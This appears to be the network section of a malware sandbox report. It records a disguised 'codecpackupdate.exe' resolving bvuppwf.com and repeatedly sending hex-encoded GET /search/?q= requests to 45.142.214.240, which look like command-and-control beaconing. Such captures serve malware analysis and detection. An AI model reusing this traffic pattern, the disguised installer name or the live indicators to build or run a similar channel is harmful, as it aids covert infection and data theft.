Mar 29, 2024 12:59:52.622478008 CET	49807	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.841006994 CET	80	49806	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:52.841104031 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.843002081 CET	80	49807	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:52.843080997 CET	49807	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.843293905 CET	49807	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.063891888 CET	80	49807	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:53.149842978 CET	80	49807	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:53.149954081 CET	49807	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.262649059 CET	49807	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.262938976 CET	49808	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.482333899 CET	80	49808	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:53.482418060 CET	49808	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.482568979 CET	49808	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.483175039 CET	80	49807	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:53.483247042 CET	49807	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.704027891 CET	80	49808	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:53.783272982 CET	80	49808	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:53.783354044 CET	49808	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.903332949 CET	49808	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:53.903671026 CET	49809	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.123467922 CET	80	49809	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:54.123524904 CET	80	49808	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:54.123651981 CET	49808	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.123673916 CET	49809	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.123874903 CET	49809	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.343255997 CET	80	49809	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:54.431598902 CET	80	49809	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:54.431680918 CET	49809	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.544033051 CET	49809	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.544481039 CET	49810	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.762186050 CET	80	49810	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:54.762270927 CET	49810	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.762451887 CET	49810	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.763847113 CET	80	49809	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:54.763920069 CET	49809	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:54.980247021 CET	80	49810	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:55.064431906 CET	80	49810	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:55.064593077 CET	49810	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.184916973 CET	49810	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.185239077 CET	49811	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.403759956 CET	80	49810	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:55.403790951 CET	80	49811	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:55.403845072 CET	49810	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.403928995 CET	49811	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.404428959 CET	49811	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.622071028 CET	80	49811	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:55.707166910 CET	80	49811	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:55.707335949 CET	49811	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.825649023 CET	49811	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:55.826124907 CET	49812	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.043406010 CET	80	49811	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:56.043534994 CET	49811	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.048418045 CET	80	49812	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:56.048558950 CET	49812	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.055876970 CET	49812	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.281380892 CET	80	49812	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:56.367341995 CET	80	49812	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:56.367490053 CET	49812	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.728317022 CET	49812	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.728719950 CET	49813	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.944904089 CET	80	49813	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:56.945055008 CET	49813	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.945214987 CET	49813	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:56.950623989 CET	80	49812	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:56.950697899 CET	49812	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:57.161375046 CET	80	49813	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:57.244874001 CET	80	49813	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:57.245011091 CET	49813	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:58.814126015 CET	49813	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:58.814440966 CET	49814	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.030622959 CET	80	49813	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.030814886 CET	49813	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.030847073 CET	80	49814	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.031008005 CET	49814	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.031291962 CET	49814	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.248455048 CET	80	49814	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.332313061 CET	80	49814	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.332379103 CET	49814	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.457117081 CET	49814	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.457681894 CET	49815	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.673579931 CET	80	49814	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.673691034 CET	49814	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.675194979 CET	80	49815	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.675281048 CET	49815	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.675457001 CET	49815	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:59.893695116 CET	80	49815	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.972255945 CET	80	49815	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:59.977077961 CET	49815	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.096493006 CET	49815	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.096760988 CET	49816	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.317219019 CET	80	49815	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:00.317281961 CET	49815	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.317465067 CET	80	49816	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:00.317545891 CET	49816	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.317750931 CET	49816	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.538278103 CET	80	49816	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:00.622545958 CET	80	49816	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:00.622678995 CET	49816	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.925067902 CET	49816	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:00.925471067 CET	49817	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.144150019 CET	80	49817	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:01.144239902 CET	49817	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.144442081 CET	49817	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.145929098 CET	80	49816	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:01.145976067 CET	49816	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.363008976 CET	80	49817	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:01.452119112 CET	80	49817	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:01.456427097 CET	49817	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.576957941 CET	49817	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.577289104 CET	49818	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.795030117 CET	80	49818	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:01.795205116 CET	49818	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.795670033 CET	80	49817	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:01.795743942 CET	49817	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:01.795964956 CET	49818	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.014519930 CET	80	49818	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:02.097373009 CET	80	49818	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:02.097448111 CET	49818	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.218393087 CET	49818	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.218686104 CET	49819	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.436045885 CET	80	49818	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:02.436131954 CET	49818	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.441905022 CET	80	49819	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:02.442037106 CET	49819	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.442250967 CET	49819	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.664628029 CET	80	49819	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:02.749161005 CET	80	49819	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:02.749219894 CET	49819	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.863456964 CET	49819	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:02.863837004 CET	49820	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:03.080363035 CET	80	49820	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:03.080440998 CET	49820	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:03.080619097 CET	49820	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:03.086133003 CET	80	49819	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:03.086184978 CET	49819	80	192.168.2.4	45.142.214.240
Mar 29, 2024 13:00:03.297362089 CET	80	49820	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:03.385246992 CET	80	49820	45.142.214.240	192.168.2.4
Mar 29, 2024 13:00:03.385303020 CET	49820	80	192.168.2.4	45.142.214.240

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 12:58:53.502712965 CET	63632	53	192.168.2.4	91.211.247.248
Mar 29, 2024 12:58:53.711462975 CET	53	63632	91.211.247.248	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 29, 2024 12:58:53.502712965 CET	192.168.2.4	91.211.247.248	0x14d3	Standard query (0)	bvuppwf.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 29, 2024 12:58:53.711462975 CET	91.211.247.248	192.168.2.4	0x14d3	No error (0)	bvuppwf.com		45.142.214.240	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bvuppwf.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:58:54.025398016 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c645db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ffe16c1ec909e3b HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:58:54.341233015 CET	1232	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:58:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 30 30 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 63 38 30 63 34 35 30 66 65 39 30 63 64 65 66 31 37 30 31 65 61 61 61 34 32 62 62 34 36 39 30 61 31 65 34 61 65 64 33 64 65 30 39 64 38 34 31 64 33 66 33 38 66 37 31 37 33 66 66 32 33 61 37 39 34 63 39 31 65 32 38 66 37 37 33 35 65 62 33 37 36 66 35 37 39 61 38 33 36 35 66 63 33 66 65 64 33 30 33 63 34 34 36 64 33 37 63 62 35 31 35 65 31 33 31 38 65 32 66 66 61 31 31 61 37 36 32 63 66 35 30 62 62 65 33 34 65 65 36 35 62 37 37 34 36 66 32 32 35 36 35 39 32 32 35 36 35 38 38 65 31 31 34 63 36 65 35 39 36 39 61 33 62 63 36 36 65 39 35 31 33 63 36 35 31 38 37 32 62 61 38 35 38 62 37 65 39 34 31 32 33 65 39 37 64 64 38 66 63 37 39 62 39 38 66 65 34 64 34 34 33 65 32 32 30 63 38 31 37 33 35 34 33 35 66 32 32 66 64 32 32 37 61 30 32 36 37 62 39 65 63 38 36 66 66 38 66 32 38 34 66 65 34 34 32 37 64 32 36 65 30 32 38 35 65 66 31 66 36 65 34 38 63 66 61 33 35 37 61 61 30 65 63 35 39 39 33 38 37 66 64 36 34 32 66 31 61 61 33 36 39 65 63 39 65 63 31 62 31 36 35 64 31 36 30 30 34 32 30 33 34 37 61 61 65 35 32 63 64 63 33 61 65 33 62 33 30 62 62 63 64 30 38 62 32 30 31 62 39 61 32 33 39 62 31 63 30 64 35 33 32 37 35 32 63 31 30 64 32 33 30 66 35 31 32 65 39 64 31 62 34 30 32 34 66 64 32 33 34 31 32 63 63 35 30 63 35 66 35 36 33 38 33 32 63 62 34 39 35 34 30 61 33 65 62 64 30 61 32 63 31 33 65 32 33 62 65 37 33 62 63 65 35 30 66 38 35 61 31 62 63 37 35 34 34 61 39 38 35 65 61 32 33 61 66 66 62 38 66 38 37 31 66 65 64 31 34 65 39 35 32 38 38 35 32 36 34 63 66 61 62 63 30 66 39 64 66 35 34 36 36 61 37 39 63 65 34 33 38 61 66 37 34 38 39 30 66 33 63 61 33 32 30 63 61 33 39 64 63 39 38 31 65 63 39 35 38 62 30 32 66 30 35 31 34 35 62 63 62 64 37 36 65 35 63 33 30 35 33 36 32 38 33 65 32 38 66 32 61 33 32 36 31 34 65 31 31 64 31 63 33 62 33 31 39 31 39 66 63 64 36 62 38 65 39 64 36 33 63 37 37 36 35 65 66 33 66 39 62 63 33 30 31 30 65 35 65 39 34 61 65 63 65 30 30 34 63 34 34 64 34 37 36 37 34 35 64 33 35 35 30 65 32 64 31 63 63 63 64 66 31 63 62 34 64 39 64 33 65 36 35 34 34 66 62 37 63 33 34 38 39 32 39 62 65 63 61 38 64 37 39 38 39 34 61 63 31 38 34 32 39 30 32 30 61 36 37 39 35 66 64 39 63 65 61 31 38 30 66 61 64 32 63 38 62 63 36 31 30 37 32 30 37 63 33 33 36 63 39 66 33 38 66 30 39 37 37 33 63 37 62 39 66 33 35 30 32 65 64 35 37 34 66 37 66 37 39 38 66 34 65 63 34 62 39 61 30 65 30 32 61 61 32 64 30 63 30 31 61 35 30 38 64 32 64 63 38 34 32 35 64 38 63 62 61 64 32 37 62 64 30 35 30 33 32 61 39 36 61 65 30 32 64 33 38 62 32 36 32 38 33 35 65 31 66 63 66 61 34 61 34 61 65 36 34 61 66 63 38 31 32 39 61 34 65 63 38 64 66 63 65 34 62 62 33 31 31 62 37 34 31 66 66 61 66 62 30 36 35 39 62 61 65 32 35 61 62 32 66 33 63 31 32 33 36 63 35 38 33 36 36 31 64 65 31 61 37 64 35 34 62 37 36 65 32 32 63 33 38 32 61 31 34 31 38 63 39 37 66 65 66 30 33 66 64 37 30 63 65 31 65 38 61 66 39 39 36 39 65 35 64 61 38 30 34 63 64 64 38 64 66 38 30 37 61 34 64 39 31 32 30 33 31 66 36 64 63 30 31 39 32 30 61 30 61 30 30 34 61 64 39 34 32 31 36 35 61 33 31 34 32 30 61 65 31 61 63 0d 0a 30 0d 0a 0d 0a Data Ascii: 40067b68a8a3203a77b0418f55f677c80c450fe90cdef1701eaaa42bb4690a1e4aed3de09d841d3f38f7173ff23a794c91e28f7735eb376f579a8365fc3fed303c446d37cb515e1318e2ffa11a762cf50bbe34ee65b7746f2256592256588e114c6e5969a3bc66e9513c651872ba858b7e94123e97dd8fc79b98fe4d443e220c81735435f22fd227a0267b9ec86ff8f284fe4427d26e0285ef1f6e48cfa357aa0ec599387fd642f1aa369ec9ec1b165d1600420347aae52cdc3ae3b30bbcd08b201b9a239b1c0d532752c10d230f512e9d1b4024fd23412cc50c5f563832cb49540a3ebd0a2c13e23be73bce50f85a1bc7544a985ea23affb8f871fed14e952885264cfabc0f9df5466a79ce438af74890f3ca320ca39dc981ec958b02f05145bcbd76e5c30536283e28f2a32614e11d1c3b31919fcd6b8e9d63c7765ef3f9bc3010e5e94aece004c44d476745d3550e2d1cccdf1cb4d9d3e6544fb7c348929beca8d79894ac18429020a6795fd9cea180fad2c8bc6107207c336c9f38f09773c7b9f3502ed574f7f798f4ec4b9a0e02aa2d0c01a508d2dc8425d8cbad27bd05032a96ae02d38b262835e1fcfa4a4ae64afc8129a4ec8dfce4bb311b741ffafb0659bae25ab2f3c1236c583661de1a7d54b76e22c382a1418c97fef03fd70ce1e8af9969e5da804cdd8df807a4d912031f6dc01920a0a004ad942165a31420ae1ac0
Mar 29, 2024 12:58:56.981125116 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:58:57.321274996 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:58:57.434223890 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:58:57.738240004 CET	1092	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 33 37 34 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 39 38 36 64 32 65 66 31 39 30 31 65 38 61 30 34 61 65 62 30 36 64 65 66 61 38 62 65 64 39 66 38 33 34 38 39 65 34 64 64 36 65 30 63 30 33 36 33 33 61 65 35 32 66 66 64 35 63 30 31 33 32 33 65 39 37 37 35 38 61 36 37 34 66 65 36 32 62 37 33 32 35 37 63 37 65 30 64 31 30 65 64 65 34 36 63 62 37 37 62 33 31 30 66 66 33 38 38 62 32 35 65 31 30 65 61 37 36 65 63 34 34 64 62 61 65 37 34 65 66 33 35 38 37 62 34 35 65 36 32 35 36 37 39 35 33 62 36 63 38 66 66 36 31 35 64 65 65 65 39 34 39 61 32 35 63 38 36 64 38 38 31 31 64 30 35 61 38 65 32 61 62 36 35 32 62 32 65 30 35 61 33 66 65 66 36 35 64 34 66 61 36 37 62 62 38 63 65 39 64 66 34 39 65 36 33 65 63 32 31 37 33 31 35 63 34 34 32 31 65 30 32 33 36 63 30 30 36 66 61 37 65 64 38 65 66 38 38 63 32 65 35 31 65 36 35 37 37 61 32 39 66 62 33 34 35 66 66 32 66 66 66 39 38 66 66 38 32 30 37 61 61 30 65 62 34 64 39 33 38 34 66 62 37 31 32 65 31 36 61 33 36 61 65 65 39 65 64 35 62 33 36 35 63 66 36 61 30 32 32 38 33 62 36 31 61 63 35 37 63 35 64 63 61 35 33 63 33 30 62 63 63 39 31 30 62 39 30 33 62 61 62 63 33 33 62 31 63 35 63 31 33 31 37 31 32 61 30 65 64 38 33 31 65 33 31 36 66 30 64 30 62 65 30 31 35 31 64 62 33 64 30 64 63 36 35 37 64 65 66 39 36 32 39 64 32 64 62 37 39 64 35 36 61 61 66 63 64 38 61 38 64 65 33 61 32 37 62 39 36 36 62 63 65 62 30 66 39 31 61 32 62 63 37 33 35 61 61 30 38 63 66 63 32 33 62 33 66 66 38 34 38 31 30 31 65 66 31 31 65 37 34 34 38 31 34 34 36 36 63 65 62 35 63 31 66 64 64 33 34 62 36 30 61 37 38 37 65 66 33 61 62 31 37 35 38 38 30 65 32 39 61 61 32 30 64 64 33 32 64 63 39 66 30 30 63 62 35 36 62 64 33 39 31 61 31 34 35 31 64 34 64 36 36 61 35 39 32 35 35 62 36 31 38 66 66 66 38 65 32 61 32 63 36 62 34 65 31 37 63 39 64 63 62 30 31 30 30 64 66 63 64 37 62 39 66 37 64 63 33 36 37 36 37 31 65 32 33 66 38 35 63 39 30 34 30 33 34 35 38 33 61 63 63 37 31 64 34 64 34 63 64 64 36 33 37 34 35 63 33 62 34 34 65 31 64 31 64 32 63 63 66 62 63 39 35 32 38 32 33 65 36 64 34 61 65 30 37 64 33 31 38 35 33 36 62 37 63 65 39 61 37 35 38 38 35 34 63 30 38 63 32 62 31 35 30 61 37 66 39 34 66 35 38 30 65 62 31 62 30 38 62 38 32 65 38 62 64 61 31 38 37 31 30 33 64 64 33 37 63 63 66 66 39 30 30 30 37 33 32 62 37 33 39 63 33 63 31 63 65 66 35 65 34 36 36 30 36 36 38 30 34 66 64 30 62 61 61 33 65 37 33 34 61 33 64 61 63 61 31 38 34 63 38 35 32 64 64 36 34 33 35 33 38 64 61 63 64 36 36 35 64 30 35 62 33 39 62 37 36 38 65 32 32 64 32 64 62 32 36 34 38 39 34 61 31 63 63 64 61 34 62 61 61 66 36 37 61 31 64 65 30 61 39 36 34 34 64 34 64 65 63 62 34 62 61 64 32 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 37467b69c953804b26b565fe95b321bd19a55f986d2ef1901e8a04aeb06defa8bed9f83489e4dd6e0c03633ae52ffd5c01323e97758a674fe62b73257c7e0d10ede46cb77b310ff388b25e10ea76ec44dbae74ef3587b45e62567953b6c8ff615deee949a25c86d8811d05a8e2ab652b2e05a3fef65d4fa67bb8ce9df49e63ec217315c4421e0236c006fa7ed8ef88c2e51e6577a29fb345ff2fff98ff8207aa0eb4d9384fb712e16a36aee9ed5b365cf6a02283b61ac57c5dca53c30bcc910b903babc33b1c5c131712a0ed831e316f0d0be0151db3d0dc657def9629d2db79d56aafcd8a8de3a27b966bceb0f91a2bc735aa08cfc23b3ff848101ef11e744814466ceb5c1fdd34b60a787ef3ab175880e29aa20dd32dc9f00cb56bd391a1451d4d66a59255b618fff8e2a2c6b4e17c9dcb0100dfcd7b9f7dc367671e23f85c904034583acc71d4d4cdd63745c3b44e1d1d2ccfbc952823e6d4ae07d318536b7ce9a758854c08c2b150a7f94f580eb1b08b82e8bda187103dd37ccff9000732b739c3c1cef5e466066804fd0baa3e734a3daca184c852dd643538dacd665d05b39b768e22d2db264894a1ccda4baaf67a1de0a9644d4decb4bad200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:58:58.279145002 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:58:58.586544991 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:58:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:58:58.916636944 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:58:59.219975948 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:58:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:58:59.558298111 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:58:59.854916096 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:58:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:58:59.965425014 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
